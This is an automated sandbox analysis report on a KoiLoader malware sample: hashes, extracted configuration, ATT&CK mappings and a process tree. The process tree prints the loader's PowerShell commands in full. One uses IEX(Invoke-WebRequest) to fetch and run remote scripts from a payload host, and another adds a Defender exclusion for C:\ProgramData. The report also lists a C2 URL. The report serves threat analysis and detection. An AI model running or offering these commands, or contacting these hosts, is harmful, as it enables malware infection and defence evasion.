koiloader | d9d8088e85136f539f6db8397f2b3b0664fcdc66d93effbe81978b04dfdb24c6

General

Target

trigger.js
Size

1KB
MD5

e1d3dafb61e3ccceb928c4b583445826
SHA1

008eb8905da7838bcd8380f259794ec3ad26c9cd
SHA256

d9d8088e85136f539f6db8397f2b3b0664fcdc66d93effbe81978b04dfdb24c6
SHA512

960f3179e597920a8e2d79a30816fbe64c5bbeb35525e1366dfe3246905adb629699a61e5d130a5370e081666207ecccefceebb4227ecce5029556c25d26b135

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes

payload_url
https://casettalecese.it/wp-content/uploads/2022/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/1628-24-0x0000000007590000-0x000000000759D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	1628	powershell.exe
26	1628	powershell.exe
29	1064	powershell.exe
32	1064	powershell.exe
62	1628	powershell.exe
66	1628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1628	powershell.exe
2024	powershell.exe
1064	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe
2024	powershell.exe
2024	powershell.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 1628	3312	wscript.exe	88
PID 3312 wrote to memory of 1628	3312	wscript.exe	88
PID 3312 wrote to memory of 1628	3312	wscript.exe	88
PID 3184 wrote to memory of 2240	3184	DllHost.exe	95
PID 3184 wrote to memory of 2240	3184	DllHost.exe	95
PID 3184 wrote to memory of 2240	3184	DllHost.exe	95
PID 2240 wrote to memory of 2024	2240	cmd.exe	97
PID 2240 wrote to memory of 2024	2240	cmd.exe	97
PID 2240 wrote to memory of 2024	2240	cmd.exe	97
PID 1628 wrote to memory of 5912	1628	powershell.exe	98
PID 1628 wrote to memory of 5912	1628	powershell.exe	98
PID 1628 wrote to memory of 5912	1628	powershell.exe	98
PID 5912 wrote to memory of 1064	5912	cmd.exe	100
PID 5912 wrote to memory of 1064	5912	cmd.exe	100
PID 5912 wrote to memory of 1064	5912	cmd.exe	100

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\trigger.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7z4LXJVHMVC8'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1064

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2024

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rf7f318bf-1238-4d59-86a8-a2f8a73edddar.js"
1⤵
PID:3752

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rf7f318bf-1238-4d59-86a8-a2f8a73edddar.js"
1⤵
PID:3136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\rf7f318bf-1238-4d59-86a8-a2f8a73edddar.js

Filesize
1KB

MD5
e1d3dafb61e3ccceb928c4b583445826

SHA1
008eb8905da7838bcd8380f259794ec3ad26c9cd

SHA256
d9d8088e85136f539f6db8397f2b3b0664fcdc66d93effbe81978b04dfdb24c6

SHA512
960f3179e597920a8e2d79a30816fbe64c5bbeb35525e1366dfe3246905adb629699a61e5d130a5370e081666207ecccefceebb4227ecce5029556c25d26b135

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
65fa77c795d21b967063a1f0c6083eee

SHA1
5f11e4b235db8075ea1a22f37ec970a141316b01

SHA256
d4485ac05a3c8d9898d56aecac4a333b2fb19de11dab0db284adf9f083319572

SHA512
2eb2699546e97e84521468494ad64286312e098de6463769dd611458ac843cad1d9a90a04f78401981ac94562a9dad6e4c8d4b173730b3314e298bb3de39aa5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqnqsiuv.ftf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1064-73-0x0000000008B30000-0x00000000090D4000-memory.dmp

Filesize
5.6MB

Download
memory/1064-72-0x0000000007DE0000-0x0000000007E02000-memory.dmp

Filesize
136KB

Download
memory/1064-74-0x00000000085B0000-0x00000000085CA000-memory.dmp

Filesize
104KB

Download
memory/1064-75-0x0000000008650000-0x00000000086A0000-memory.dmp

Filesize
320KB

Download
memory/1064-76-0x0000000008740000-0x00000000087D2000-memory.dmp

Filesize
584KB

Download
memory/1628-23-0x00000000074B0000-0x00000000074B1000-memory.dmp

Filesize
4KB

Download
memory/1628-39-0x000000007471E000-0x000000007471F000-memory.dmp

Filesize
4KB

Download
memory/1628-20-0x00000000061C0000-0x00000000061DA000-memory.dmp

Filesize
104KB

Download
memory/1628-21-0x0000000007650000-0x0000000007CCA000-memory.dmp

Filesize
6.5MB

Download
memory/1628-22-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/1628-18-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

Filesize
120KB

Download
memory/1628-24-0x0000000007590000-0x000000000759D000-memory.dmp

Filesize
52KB

Download
memory/1628-28-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/1628-17-0x00000000057B0000-0x0000000005B04000-memory.dmp

Filesize
3.3MB

Download
memory/1628-19-0x00000000060B0000-0x00000000060FC000-memory.dmp

Filesize
304KB

Download
memory/1628-81-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/1628-1-0x000000007471E000-0x000000007471F000-memory.dmp

Filesize
4KB

Download
memory/1628-80-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/1628-5-0x0000000004E00000-0x0000000004E22000-memory.dmp

Filesize
136KB

Download
memory/1628-6-0x0000000005610000-0x0000000005676000-memory.dmp

Filesize
408KB

Download
memory/1628-7-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/1628-4-0x0000000004E70000-0x0000000005498000-memory.dmp

Filesize
6.2MB

Download
memory/1628-3-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/1628-2-0x0000000004800000-0x0000000004836000-memory.dmp

Filesize
216KB

Download
memory/1628-67-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2024-50-0x0000000070530000-0x000000007057C000-memory.dmp

Filesize
304KB

Download
memory/2024-68-0x00000000078A0000-0x00000000078BA000-memory.dmp

Filesize
104KB

Download
memory/2024-69-0x0000000007880000-0x0000000007888000-memory.dmp

Filesize
32KB

Download
memory/2024-66-0x00000000077B0000-0x00000000077C4000-memory.dmp

Filesize
80KB

Download
memory/2024-65-0x00000000077A0000-0x00000000077AE000-memory.dmp

Filesize
56KB

Download
memory/2024-64-0x0000000007760000-0x0000000007771000-memory.dmp

Filesize
68KB

Download
memory/2024-63-0x00000000077E0000-0x0000000007876000-memory.dmp

Filesize
600KB

Download
memory/2024-62-0x00000000075D0000-0x00000000075DA000-memory.dmp

Filesize
40KB

Download
memory/2024-61-0x0000000007460000-0x0000000007503000-memory.dmp

Filesize
652KB

Download
memory/2024-60-0x0000000006820000-0x000000000683E000-memory.dmp

Filesize
120KB

Download
memory/2024-49-0x0000000007420000-0x0000000007452000-memory.dmp

Filesize
200KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads